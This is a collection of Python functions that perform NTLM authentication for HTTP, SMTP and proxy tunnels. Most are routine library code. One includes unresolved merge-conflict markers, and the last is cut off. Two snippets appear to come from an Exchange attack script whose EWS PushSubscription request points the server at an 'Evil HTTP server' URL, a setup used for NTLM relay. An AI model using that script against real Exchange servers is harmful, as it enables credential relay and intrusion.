def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response, args): """Attempts to authenticate using HTTP NTLM challenge/response""" if auth_header in response.request.headers: return response request = copy_request(response.request) # initial auth header with username. will result in challenge if self.domain: auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain, self.username)) else: auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s" % self.username) request.headers[auth_header] = auth # we must keep the connection because NTLM authenticates the connection, not single requests request.headers["Connection"] = "Keep-Alive" # A streaming response breaks authentication. # This can be fixed by not streaming this request, which is safe because # the returned response3 will still have stream=True set if specified in # args. In addition, we expect this request to give us a challenge # and not the real content, so the content will be short anyway. args_nostream = dict(args, stream=False) response2 = self.adapter.send(request, **args_nostream) # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) if response2.headers.get('set-cookie'): request.headers['Cookie'] = response2.headers.get('set-cookie') # get the challenge auth_header_value = response2.headers[auth_header_field] ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:]) # build response request = copy_request(request) auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags) request.headers[auth_header] = auth request.headers["Connection"] = "Close" response3 = self.adapter.send(request, **args) # Update the history. response3.history.append(response) response3.history.append(response2) return response3
def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response): """Attempts to authenticate using HTTP NTLM challenge/response""" if auth_header in response.request.headers: return response request = response.request # initial auth header with username. will result in challenge auth = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain, self.username)) request.headers[auth_header] = auth # we must keep the connection because NTLM authenticates the connection, not single requests request.headers["Connection"] = "Keep-Alive" request.send(anyway=True) response2 = request.response # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) if response2.headers.get("set-cookie"): headers["Cookie"] = response2.headers.get("set-cookie") # get the challenge auth_header_value = response2.headers[auth_header_field] ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:]) # build response auth = "NTLM %s" % ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, self.username, self.domain, self.password, NegotiateFlags ) request.headers[auth_header] = auth request.headers["Connection"] = "Close" request.send(anyway=True) return request.response
def request_func(ip, port, proto, body): if proto == 'https': conn = httplib.HTTPSConnection(ip, port) else: conn = httplib.HTTPConnection(ip, port) ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER) headers = {"Authorization": "NTLM "+ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F"} conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if response.status == 401: print "\t[*] Got 401 response with NTLM NONCE." print "\t[*] Trying authenticate current user..." Nonce = response.getheader("WWW-Authenticate") (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(Nonce[len("NTLM "):]) ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags) headers["Authorization"] = "NTLM " + ntlmresponce conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if response.status != 401: print "\t[+] Authentication and request sent successfully" conn.close() return resp_data conn.close() exit("\t[-] Authentication ERROR:\n\t[-] Cannot authenticate '%s/%s' with password '%s'"%(DOMAIN, USER, PASS))
def _new_conn(self): # Performs the NTLM handshake that secures the connection. The socket # must be kept open while requests are performed. self.num_connections += 1 log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s', self.num_connections, self.host, self.authurl) headers = {'Connection': 'Keep-Alive'} req_header = 'Authorization' resp_header = 'www-authenticate' conn = HTTPSConnection(host=self.host, port=self.port) # Send negotiation message headers[req_header] = ( 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser)) log.debug('Request headers: %s', headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders()) log.debug('Response status: %s %s', res.status, res.reason) log.debug('Response headers: %s', reshdr) log.debug('Response data: %s [...]', res.read(100)) # Remove the reference to the socket, so that it can not be closed by # the response object (we want to keep the socket open) res.fp = None # Server should respond with a challenge message auth_header_values = reshdr[resp_header].split(', ') auth_header_value = None for s in auth_header_values: if s[:5] == 'NTLM ': auth_header_value = s[5:] if auth_header_value is None: raise Exception('Unexpected %s response header: %s' % (resp_header, reshdr[resp_header])) # Send authentication message ServerChallenge, NegotiateFlags = \ ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value) auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags) headers[req_header] = 'NTLM %s' % auth_msg log.debug('Request headers: %s', headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() log.debug('Response status: %s %s', res.status, res.reason) log.debug('Response headers: %s', dict(res.getheaders())) log.debug('Response data: %s [...]', res.read()[:100]) if res.status != 200: if res.status == 401: raise Exception('Server rejected request: wrong ' 'username or password') raise Exception('Wrong server response: %s %s' % (res.status, res.reason)) res.fp = None log.debug('Connection established') return conn
def retry_using_http_NTLM_auth(self, req, auth_header_field, realm, headers): user, pw = self.passwd.find_user_password(realm, req.get_full_url()) if pw is not None: # ntlm secures a socket, so we must use the same socket for the complete handshake headers = dict(req.headers) headers.update(req.unredirected_hdrs) auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(user) if req.headers.get(self.auth_header, None) == auth: return None headers[self.auth_header] = auth host = req.get_host() if not host: raise urllib2.URLError('no host given') h = None if req.get_full_url().startswith('https://'): h = httplib.HTTPSConnection(host) # will parse host:port else: h = httplib.HTTPConnection(host) # will parse host:port h.set_debuglevel(self._debuglevel) # we must keep the connection because NTLM authenticates the connection, not single requests headers["Connection"] = "Keep-Alive" headers = dict((name.title(), val) for name, val in headers.items()) h.request(req.get_method(), req.get_selector(), req.data, headers) r = h.getresponse() r.begin() r._safe_read(int(r.getheader('content-length'))) if r.getheader('set-cookie'): # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) headers['Cookie'] = r.getheader('set-cookie') r.fp = None # remove the reference to the socket, so that it can not be closed by the response object (we want to keep the socket open) auth_header_value = r.getheader(auth_header_field, None) # begin patch if ',' in auth_header_value: auth_header_value, postfix = auth_header_value.split(',', 1) # end patch (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:]) user_parts = user.split('\\', 1) DomainName = user_parts[0].upper() UserName = user_parts[1] auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, UserName, DomainName, pw, NegotiateFlags) headers[self.auth_header] = auth headers["Connection"] = "Close" headers = dict((name.title(), val) for name, val in headers.items()) try: h.request(req.get_method(), req.get_selector(), req.data, headers) # none of the configured handlers are triggered, for example redirect-responses are not handled! response = h.getresponse() def notimplemented(): raise NotImplementedError response.readline = notimplemented infourl = addinfourl(response, response.msg, req.get_full_url()) infourl.code = response.status infourl.msg = response.reason return infourl except socket.error, err: raise urllib2.URLError(err)
def http_request(self, request): ntlm_auth_header = request.get_header(self.auth_header, None) if ntlm_auth_header is None: user, pw = self.passwd.find_user_password(None, request.get_full_url()) if pw is not None: auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(user) request.add_unredirected_header(self.auth_header, auth) return request
def _new_conn(self): self.num_connections += 1 log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s' % (self.num_connections, self.host, self.authurl)) headers = {} headers['Connection'] = 'Keep-Alive' req_header = 'Authorization' resp_header = 'www-authenticate' conn = HTTPSConnection(host=self.host, port=self.port) headers[req_header] = ( 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser)) log.debug('Request headers: %s' % headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders()) log.debug('Response status: %s %s' % (res.status, res.reason)) log.debug('Response headers: %s' % reshdr) log.debug('Response data: %s [...]' % res.read(100)) res.fp = None auth_header_values = reshdr[resp_header].split(', ') auth_header_value = None for s in auth_header_values: if s[:5] == 'NTLM ': auth_header_value = s[5:] if auth_header_value is None: raise Exception('Unexpected %s response header: %s' % (resp_header, reshdr[resp_header])) ServerChallenge, NegotiateFlags = \ ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value) auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags) headers[req_header] = 'NTLM %s' % auth_msg log.debug('Request headers: %s' % headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() log.debug('Response status: %s %s' % (res.status, res.reason)) log.debug('Response headers: %s' % dict(res.getheaders())) log.debug('Response data: %s [...]' % res.read()[:100]) if res.status != 200: if res.status == 401: raise Exception('Server rejected request: wrong ' 'username or password') raise Exception('Wrong server response: %s %s' % (res.status, res.reason)) res.fp = None log.debug('Connection established') return conn
def _new_conn(self): # Performs the NTLM handshake that secures the connection. The socket # must be kept open while requests are performed. self.num_connections += 1 log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s' % (self.num_connections, self.host, self.authurl)) headers = {} headers['Connection'] = 'Keep-Alive' req_header = 'Authorization' resp_header = 'www-authenticate' conn = httplib.HTTPSConnection(host=self.host, port=self.port) # Send negotiation message headers[req_header] = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser) log.debug('Request headers: %s' % headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders()) log.debug('Response status: %s %s' % (res.status, res.reason)) log.debug('Response headers: %s' % reshdr) log.debug('Response data: %s [...]' % res.read(100)) # Remove the reference to the socket, so that it can not be closed by # the response object (we want to keep the socket open) res.fp = None # Server should respond with a challenge message auth_header_values = reshdr[resp_header].split(', ') auth_header_value = None for s in auth_header_values: if s[:5] == 'NTLM ': auth_header_value = s[5:] if auth_header_value is None: raise Exception('Unexpected %s response header: %s' % (resp_header, reshdr[resp_header])) # Send authentication message ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value) headers[req_header] = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags) log.debug('Request headers: %s' % headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() log.debug('Response status: %s %s' % (res.status, res.reason)) log.debug('Response headers: %s' % dict(res.getheaders())) log.debug('Response data: %s [...]' % res.read()[:100]) if res.status != 200: if res.status == 401: raise Exception('Server rejected request: wrong username or password') raise Exception('Wrong server response: %s %s' % (res.status, res.reason)) res.fp = None log.debug('Connection established') return conn
def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response, args): """Attempts to authenticate using HTTP NTLM challenge/response""" if auth_header in response.request.headers: return response request = copy_request(response.request) # Pick an adapter to use. If a Session is in use, get the adapter from it. adapter = self.adapter if self.session: session = self.session() if session: adapter = session.get_adapter(response.request.url) # initial auth header with username. will result in challenge auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain,self.username)) request.headers[auth_header] = auth # A streaming response breaks authentication. # This can be fixed by not streaming this request, which is safe because # the returned response3 will still have stream=True set if specified in # args. In addition, we expect this request to give us a challenge # and not the real content, so the content will be short anyway. args_nostream = dict(args, stream=False) response2 = adapter.send(request, **args_nostream) # needed to make NTLM auth compatible with requests-2.3.0 response2.content # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) if response2.headers.get('set-cookie'): request.headers['Cookie'] = response2.headers.get('set-cookie') # get the challenge auth_header_value = response2.headers[auth_header_field] ntlm_header_value = list(filter(lambda s: s.startswith('NTLM '), auth_header_value.split(',')))[0].strip() ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_header_value[5:]) # build response request = copy_request(request) auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags) request.headers[auth_header] = auth response3 = adapter.send(request, **args) # Update the history. response3.history.append(response) response3.history.append(response2) return response3
def ntlm_authenticate(smtp, username, password): code, response = smtp.docmd( "AUTH", "NTLM " + ntlm.create_NTLM_NEGOTIATE_MESSAGE(username)) if code != 334: raise smtplib.SMTPException( "Server did not respond as expected to NTLM negotiate message") challenge, flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(response) user_parts = username.split("\\", 1) code, response = smtp.docmd( "", ntlm.create_NTLM_AUTHENTICATE_MESSAGE(challenge, user_parts[1], user_parts[0], password, flags)) if code != 235: raise smtplib.SMTPException(code, response)
def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response, args): """Attempts to authenticate using HTTP NTLM challenge/response""" if auth_header in response.request.headers: return response request = copy_request(response.request) # initial auth header with username. will result in challenge auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain,self.username)) request.headers[auth_header] = auth # we must keep the connection because NTLM authenticates the connection, not single requests request.headers["Connection"] = "Keep-Alive" # A streaming response breaks authentication. # This can be fixed by not streaming this request, which is safe because # the returned response3 will still have stream=True set if specified in # args. In addition, we expect this request to give us a challenge # and not the real content, so the content will be short anyway. args_nostream = dict(args, stream=False) response2 = self.adapter.send(request, **args_nostream) # needed to make NTLM auth compatible with requests-2.3.0 response2.content # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) if response2.headers.get('set-cookie'): request.headers['Cookie'] = response2.headers.get('set-cookie') # get the challenge auth_header_value = response2.headers[auth_header_field] ntlm_header_value = list(filter(lambda s: s.startswith('NTLM '), auth_header_value.split(',')))[0].strip() ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_header_value[5:]) # build response request = copy_request(request) auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags) request.headers[auth_header] = auth response3 = self.adapter.send(request, **args) # Update the history. response3.history.append(response) response3.history.append(response2) return response3
def _new_conn(self): self.num_connections += 1 log.debug('Starting NTLM HTTPS connection no. %d: https://%s%s' % (self.num_connections, self.host, self.authurl)) headers = {} headers['Connection'] = 'Keep-Alive' req_header = 'Authorization' resp_header = 'www-authenticate' conn = HTTPSConnection(host=self.host, port=self.port) headers[req_header] = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser) log.debug('Request headers: %s' % headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders()) log.debug('Response status: %s %s' % (res.status, res.reason)) log.debug('Response headers: %s' % reshdr) log.debug('Response data: %s [...]' % res.read(100)) res.fp = None auth_header_values = reshdr[resp_header].split(', ') auth_header_value = None for s in auth_header_values: if s[:5] == 'NTLM ': auth_header_value = s[5:] if auth_header_value is None: raise Exception('Unexpected %s response header: %s' % (resp_header, reshdr[resp_header])) ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value) auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags) headers[req_header] = 'NTLM %s' % auth_msg log.debug('Request headers: %s' % headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() log.debug('Response status: %s %s' % (res.status, res.reason)) log.debug('Response headers: %s' % dict(res.getheaders())) log.debug('Response data: %s [...]' % res.read()[:100]) if res.status != 200: if res.status == 401: raise Exception('Server rejected request: wrong username or password') raise Exception('Wrong server response: %s %s' % (res.status, res.reason)) res.fp = None log.debug('Connection established') return conn
def ntlm(self): """ AUTH NTLM handler """ args = "NTLM " + create_NTLM_NEGOTIATE_MESSAGE( self.username).decode("utf-8") code, res = self.__server.docmd("AUTH", args) if code != self.SMTP_AUTH_CHALLENGE: raise ConnectionAbortedError( "Server did not respond as expected to NTLM negotiate message") chlng, flags = parse_NTLM_CHALLENGE_MESSAGE(res) user_parts = self.username.split("\\", 1) args = create_NTLM_AUTHENTICATE_MESSAGE(chlng, user_parts[1], user_parts[0], self.password, flags) args = args.decode("utf-8") code, res = self.__server.docmd("", args) if code != self.SMTP_AUTH_OKAY: raise ConnectionRefusedError(res)
def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response, args): """Attempts to authenticate using HTTP NTLM challenge/response""" if auth_header in response.request.headers: return response request = copy_request(response.request) # initial auth header with username. will result in challenge auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("%s\\%s" % (self.domain,self.username)) request.headers[auth_header] = auth # we must keep the connection because NTLM authenticates the connection, not single requests request.headers["Connection"] = "Keep-Alive" response2 = self.adapter.send(request, **args) # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) if response2.headers.get('set-cookie'): request.headers['Cookie'] = response2.headers.get('set-cookie') # get the challenge auth_header_value = response2.headers[auth_header_field] ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(auth_header_value[5:]) # build response request = copy_request(request) auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, self.username, self.domain, self.password, NegotiateFlags) request.headers[auth_header] = auth request.headers["Connection"] = "Close" response3 = self.adapter.send(request, **args) # Update the history. response3.history.append(response) response3.history.append(response2) return response3
def http_error_407(self, req, fp, code, msg, headers): proxy_authenticate = headers.get('proxy-authenticate') if os.name != 'nt' or proxy_authenticate[0:4] != 'NTLM': return None type1_flags = ntlm.NTLM_TYPE1_FLAGS if req.host.find(':') != -1: host_port = req.host else: host_port = "%s:%s" % (req.host, req.port) username, password = self.passwd.find_user_password(None, host_port) if not username: return None if username.find('\\') == -1: type1_flags &= ~ntlm.NTLM_NegotiateOemDomainSupplied negotiate_message = ntlm.create_NTLM_NEGOTIATE_MESSAGE(username, type1_flags) auth = 'NTLM %s' % negotiate_message if req.headers.get(self.auth_header, None) == auth: return None req.add_unredirected_header(self.auth_header, auth) return self.parent.open(req, timeout=req.timeout)
def test_ntlm_negotiate_message(self): assert "TlRMTVNTUAABAAAAB7IIogYABgAwAAAACAAIACgAAAAFASgKAAAAD1dTMDQyMzc4RE9NQUlO" == create_NTLM_NEGOTIATE_MESSAGE(FULL_DOMAIN)
def retry_using_http_NTLM_auth(self, req, auth_header_field, realm, headers): user, pw = self.passwd.find_user_password(realm, req.get_full_url()) if pw is not None: # ntlm secures a socket, so we must use the same socket for the complete handshake headers = dict(req.headers) headers.update(req.unredirected_hdrs) auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(user) if req.headers.get(self.auth_header, None) == auth: return None headers[self.auth_header] = auth host = req.get_host() if not host: raise urllib2.URLError('no host given') h = None if req.get_full_url().startswith('https://'): h = httplib.HTTPSConnection(host) # will parse host:port else: h = httplib.HTTPConnection(host) # will parse host:port h.set_debuglevel(self._debuglevel) # we must keep the connection because NTLM authenticates the connection, not single requests headers["Connection"] = "Keep-Alive" headers = dict( (name.title(), val) for name, val in headers.items()) h.request(req.get_method(), req.get_selector(), req.data, headers) r = h.getresponse() r.begin() r._safe_read(int(r.getheader('content-length'))) if r.getheader('set-cookie'): # this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out) headers['Cookie'] = r.getheader('set-cookie') r.fp = None # remove the reference to the socket, so that it can not be closed by the response object (we want to keep the socket open) auth_header_value = r.getheader(auth_header_field, None) # begin patch if ',' in auth_header_value: auth_header_value, postfix = auth_header_value.split(',', 1) # end patch (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE( auth_header_value[5:]) user_parts = user.split('\\', 1) DomainName = user_parts[0].upper() UserName = user_parts[1] auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, UserName, DomainName, pw, NegotiateFlags) headers[self.auth_header] = auth headers["Connection"] = "Close" headers = dict( (name.title(), val) for name, val in headers.items()) try: h.request(req.get_method(), req.get_selector(), req.data, headers) # none of the configured handlers are triggered, for example redirect-responses are not handled! response = h.getresponse() def notimplemented(): raise NotImplementedError response.readline = notimplemented infourl = addinfourl(response, response.msg, req.get_full_url()) infourl.code = response.status infourl.msg = response.reason return infourl except socket.error, err: raise urllib2.URLError(err)
def _tunnel(self, ntlm_follow_up=False): """ This custom _tunnel method allows us to read and print the debug log for the whole response before throwing an error, and adds support for proxy authentication """ self._proxy_host = self.host self._proxy_port = self.port self._set_hostport(self._tunnel_host, self._tunnel_port) self._tunnel_headers['Host'] = u"%s:%s" % (self.host, self.port) self._tunnel_headers['User-Agent'] = self.user_agent self._tunnel_headers['Proxy-Connection'] = 'Keep-Alive' request = "CONNECT %s:%d HTTP/1.1\r\n" % (self.host, self.port) for header, value in self._tunnel_headers.iteritems(): request += "%s: %s\r\n" % (header, value) self.send(request + "\r\n") response = self.response_class(self.sock, strict=self.strict, method=self._method) (version, code, message) = response._read_status() status_line = u"%s %s %s" % (version, code, message.rstrip()) headers = [status_line] if self.debuglevel in [-1, 5]: console_write(u'Urllib2 %s Debug Read' % self._debug_protocol, True) console_write(u" %s" % status_line) content_length = 0 close_connection = False while True: line = response.fp.readline() if line == '\r\n': break headers.append(line.rstrip()) parts = line.rstrip().split(': ', 1) name = parts[0].lower() value = parts[1].lower().strip() if name == 'content-length': content_length = int(value) if name in ['connection', 'proxy-connection' ] and value == 'close': close_connection = True if self.debuglevel in [-1, 5]: console_write(u" %s" % line.rstrip()) # Handle proxy auth for SSL connections since regular urllib2 punts on this if code == 407 and self.passwd and ('Proxy-Authorization' not in self._tunnel_headers or ntlm_follow_up): if content_length: response._safe_read(content_length) supported_auth_methods = {} for line in headers: parts = line.split(': ', 1) if parts[0].lower() != 'proxy-authenticate': continue details = parts[1].split(' ', 1) supported_auth_methods[details[0].lower( )] = details[1] if len(details) > 1 else '' username, password = self.passwd.find_user_password( None, "%s:%s" % (self._proxy_host, self._proxy_port)) do_ntlm_follow_up = False if 'digest' in supported_auth_methods: response_value = self.build_digest_response( supported_auth_methods['digest'], username, password) if response_value: self._tunnel_headers[ 'Proxy-Authorization'] = u"Digest %s" % response_value elif 'basic' in supported_auth_methods: response_value = u"%s:%s" % (username, password) response_value = base64.b64encode(response_value).strip() self._tunnel_headers[ 'Proxy-Authorization'] = u"Basic %s" % response_value elif 'ntlm' in supported_auth_methods and os.name == 'nt': ntlm_challenge = supported_auth_methods['ntlm'] if not len(ntlm_challenge): type1_flags = ntlm.NTLM_TYPE1_FLAGS if username.find('\\') == -1: type1_flags &= ~ntlm.NTLM_NegotiateOemDomainSupplied negotiate_message = ntlm.create_NTLM_NEGOTIATE_MESSAGE( username, type1_flags) self._tunnel_headers[ 'Proxy-Authorization'] = 'NTLM %s' % negotiate_message do_ntlm_follow_up = True else: domain = '' user = username if username.find('\\') != -1: domain, user = username.split('\\', 1) challenge, negotiate_flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE( ntlm_challenge) self._tunnel_headers[ 'Proxy-Authorization'] = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE( challenge, user, domain, password, negotiate_flags) if 'Proxy-Authorization' in self._tunnel_headers: self.host = self._proxy_host self.port = self._proxy_port # If the proxy wanted the connection closed, we need to make a new connection if close_connection: self.sock.close() self.sock = socket.create_connection( (self.host, self.port), self.timeout) return self._tunnel(do_ntlm_follow_up) if code != 200: self.close() raise socket.error("Tunnel connection failed: %d %s" % (code, message.strip()))
self.num_connections, self.host, self.authurl, ) headers = {"Connection": "Keep-Alive"} req_header = "Authorization" resp_header = "www-authenticate" >>>>>>> development conn = HTTPSConnection(host=self.host, port=self.port) # Send negotiation message <<<<<<< HEAD headers[req_header] = ( 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(self.rawuser)) log.debug('Request headers: %s', headers) conn.request('GET', self.authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders()) log.debug('Response status: %s %s', res.status, res.reason) log.debug('Response headers: %s', reshdr) log.debug('Response data: %s [...]', res.read(100)) ======= headers[req_header] = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE( self.rawuser ) log.debug("Request headers: %s", headers) conn.request("GET", self.authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders())
def main(ip, port, proto): #Connection to server if proto == 'https': conn = httplib.HTTPSConnection(ip, port) #conn = httplib.HTTPSConnection(ip) else: conn = httplib.HTTPConnection(ip, port) print "Sending 'PushSubscription' EWS request..." #SOAP request with URL pointing to our Evil HTTP server body = '''<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"> <soap:Header> <t:RequestServerVersion Version="Exchange2013" /> </soap:Header> <soap:Body > <m:Subscribe> <m:PushSubscriptionRequest SubscribeToAllFolders="true"> <t:EventTypes> <t:EventType>NewMailEvent</t:EventType> <t:EventType>ModifiedEvent</t:EventType> <t:EventType>MovedEvent</t:EventType> </t:EventTypes> <t:StatusFrequency>1</t:StatusFrequency> <t:CallerData>DesktopOutlook</t:CallerData> <t:URL>''' + EVIL_HTTPSERVER_URL + '''</t:URL> </m:PushSubscriptionRequest> </m:Subscribe> </soap:Body> </soap:Envelope> ''' #Headers with NTLM NEGOTIATE ntlm_negotiate = ntlm.create_NTLM_NEGOTIATE_MESSAGE(DOMAIN + "\\" + USER) headers = { "Authorization": "NTLM " + ntlm_negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } #sending request and receiving response conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if print_debug_info: print "[DEBUG]: Received response:" print response.status, response.reason, '\n', response.msg, '\n', resp_data if response.status == 401: print "\nGot 401 response with NTLM NONCE." print "Trying authenticate current user..." #Calculation of NTLM AUTHENTICATE response Nonce = response.getheader("WWW-Authenticate") (ServerChallenge, NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE( Nonce[len("NTLM "):]) ntlmresponce = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, USER, DOMAIN, PASS, NegotiateFlags) #Adding NTLM response in Authorization header headers["Authorization"] = "NTLM " + ntlmresponce #sending request and receiving response conn.request("POST", URL, body, headers) response = conn.getresponse() resp_data = response.read() if print_debug_info: print "\n[DEBUG]: Received response:" print response.status, response.reason, '\n', response.msg, '\n', resp_data if response.status == 401: print "\nAuthentication ERROR:" print "Cannot authenticate '" + DOMAIN + "/" + USER + "' with password '" + PASS + "'" conn.close() print "\n\nThe Script is finished. \n" return 1
def _tunnel(self, ntlm_follow_up=False): """ This custom _tunnel method allows us to read and print the debug log for the whole response before throwing an error, and adds support for proxy authentication """ self._proxy_host = self.host self._proxy_port = self.port self._set_hostport(self._tunnel_host, self._tunnel_port) self._tunnel_headers['Host'] = u"%s:%s" % (self.host, self.port) self._tunnel_headers['User-Agent'] = self.user_agent self._tunnel_headers['Proxy-Connection'] = 'Keep-Alive' request = "CONNECT %s:%d HTTP/1.1\r\n" % (self.host, self.port) for header, value in self._tunnel_headers.items(): request += "%s: %s\r\n" % (header, value) self.send(request + "\r\n") response = self.response_class(self.sock, strict=self.strict, method=self._method) (version, code, message) = response._read_status() status_line = u"%s %s %s" % (version, code, message.rstrip()) headers = [status_line] if self.debuglevel in [-1, 5]: console_write(u'Urllib %s Debug Read' % self._debug_protocol, True) console_write(u" %s" % status_line) content_length = 0 close_connection = False while True: line = response.fp.readline() if line == '\r\n': break headers.append(line.rstrip()) parts = line.rstrip().split(': ', 1) name = parts[0].lower() value = parts[1].lower().strip() if name == 'content-length': content_length = int(value) if name in ['connection', 'proxy-connection'] and value == 'close': close_connection = True if self.debuglevel in [-1, 5]: console_write(u" %s" % line.rstrip()) # Handle proxy auth for SSL connections since regular urllib punts on this if code == 407 and self.passwd and ('Proxy-Authorization' not in self._tunnel_headers or ntlm_follow_up): if content_length: response._safe_read(content_length) supported_auth_methods = {} for line in headers: parts = line.split(': ', 1) if parts[0].lower() != 'proxy-authenticate': continue details = parts[1].split(' ', 1) supported_auth_methods[details[0].lower()] = details[1] if len(details) > 1 else '' username, password = self.passwd.find_user_password(None, "%s:%s" % ( self._proxy_host, self._proxy_port)) do_ntlm_follow_up = False if 'digest' in supported_auth_methods: response_value = self.build_digest_response( supported_auth_methods['digest'], username, password) if response_value: self._tunnel_headers['Proxy-Authorization'] = u"Digest %s" % response_value elif 'basic' in supported_auth_methods: response_value = u"%s:%s" % (username, password) response_value = base64.b64encode(response_value).strip() self._tunnel_headers['Proxy-Authorization'] = u"Basic %s" % response_value elif 'ntlm' in supported_auth_methods and os.name == 'nt': ntlm_challenge = supported_auth_methods['ntlm'] if not len(ntlm_challenge): type1_flags = ntlm.NTLM_TYPE1_FLAGS if username.find('\\') == -1: type1_flags &= ~ntlm.NTLM_NegotiateOemDomainSupplied negotiate_message = ntlm.create_NTLM_NEGOTIATE_MESSAGE(username, type1_flags) self._tunnel_headers['Proxy-Authorization'] = 'NTLM %s' % negotiate_message do_ntlm_follow_up = True else: domain = '' user = username if username.find('\\') != -1: domain, user = username.split('\\', 1) challenge, negotiate_flags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(ntlm_challenge) 